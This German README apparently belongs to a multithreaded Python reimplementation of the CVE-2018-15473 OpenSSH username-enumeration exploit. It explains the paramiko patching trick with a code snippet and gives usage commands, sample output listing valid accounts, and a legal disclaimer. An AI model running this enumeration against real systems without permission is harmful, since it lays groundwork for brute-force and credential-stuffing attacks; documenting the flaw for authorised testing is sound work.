
Eine Python-3-Neuimplementierung des klassischen OpenSSH-Exploits zur Benutzeraufzählung (CVE-2018-15473), erweitert um Multi-Threading, Wordlist-Unterstützung, automatische Schwachstellenerkennung und threadsicheres Exploit-Patching.
Eine Python-3-Neuimplementierung des klassischen CVE-2018-15473-OpenSSH-Exploits zur Benutzer-Enumeration, erweitert um Multi-Threading, Wortlisten-Unterstützung, automatische Schwachstellenerkennung und threadsicheres Exploit-Patching.
CVE-2018-15473 ist eine Schwachstelle zur Benutzer-Enumeration, die OpenSSH-Versionen 2.3 bis 7.7 betrifft.
Die Schwachstelle beruht auf einem subtilen Unterschied in der Reaktion des OpenSSH-Servers auf Authentifizierungsversuche für gültige im Vergleich zu ungültigen Benutzernamen. Durch das Erstellen eines fehlerhaft aufgebauten Public-Key-Authentifizierungspakets kann ein Angreifer das Verhalten des Servers beobachten und feststellen, ob ein bestimmter Benutzername auf dem System existiert — ohne das Passwort des Benutzers zu kennen.
Diese Informationen können ein entscheidender erster Schritt bei einem gezielten Brute-Force- oder Credential-Stuffing-Angriff sein.
| Detail | Wert |
|---|---|
| CVE ID | CVE-2018-15473 |
| Betroffene Versionen | OpenSSH 2.3 – 7.7 |
| CVSS-Score | 5.3 (Mittel) |
Der Authentifizierungsablauf von OpenSSH funktioniert normalerweise wie folgt:
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
Der Exploit missbraucht die MSG_SERVICE_ACCEPT-Phase. Wenn der Server ein MSG_SERVICE_ACCEPT zurücksendet, soll der Client dem darauffolgenden MSG_USERAUTH_REQUEST-Paket ein boolesches Feld anhängen. Indem paramikos Message.add_boolean-Methode zu einem No-op gepatcht wird, sendet das Tool ein fehlerhaftes/abgeschnittenes Auth-Paket.
Der OpenSSH-Server verhält sich dann unterschiedlich, je nachdem ob der Benutzername existiert:
MSG_USERAUTH_FAILURE ab (der Benutzername existiert nicht, kein Grund, den Schlüssel zu prüfen)AuthenticationException (er hat versucht, den Schlüssel zu verifizieren, was bestätigt, dass der Benutzer existiert)Dieses Tool fängt diese beiden Antworten über gepatchte paramiko-Handler (_parse_userauth_failure und _parse_service_accept) ab und klassifiziert jeden Benutzernamen entsprechend.
Der ursprüngliche PoC patcht add_boolean dauerhaft, was eine Race Condition verursacht, wenn mehrere Threads gleichzeitig laufen — die Threads stören die Handshakes der jeweils anderen und erzeugen falsche SSH negotiation failed-Fehler. Diese Neuimplementierung umschließt den Patch mit einem threading.Lock(), wodurch der Austausch atomar wird:
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap, um vor dem Scan zu überprüfen, ob das Ziel eine anfällige OpenSSH-Version ausführtparamikopython-nmapnmap (System-Binary, muss installiert sein)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install paramiko python-nmap
Stellen Sie sicher, dass nmap auf Ihrem System installiert ist:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
Einzelnen Benutzernamen prüfen:
python main.py 192.168.1.10 -u root
Eine Wortliste mit den Standard-Threads enumerieren:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
Enumeration mit benutzerdefinierter Thread-Anzahl und Port:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
Beispielausgabe:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
Dieses Tool ist eine Python-3-Neuimplementierung und -Erweiterung des ursprünglichen Proof-of-Concept-Exploits. Die volle Anerkennung für die Entdeckung und Dokumentation dieser Schwachstelle gebührt den ursprünglichen Forschern:
Original-Exploit: https://leapsecurity.io
Diese Neuimplementierung fügt hinzu:
Dieses Tool ist nur für Bildungszwecke und autorisierte Penetrationstests gedacht.
Die Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben, ist illegal und unethisch.
Der Autor übernimmt keine Verantwortung für eine missbräuchliche Verwendung dieser Software.
Praktizieren Sie stets verantwortungsvolle Offenlegung.
| Typ | Informationsoffenlegung / Benutzer-Enumeration |
| Authentifizierung erforderlich | Nein |
| Rolle |
|---|
| Name / Handle |
|---|
| Autor des Original-PoC | Leap Security (@LeapSecurity) |
| Schwachstellenforschung | Matthew Daley |
| Schwachstellenforschung | Justin Gardner |
| Schwachstellenforschung | Lee David Painter |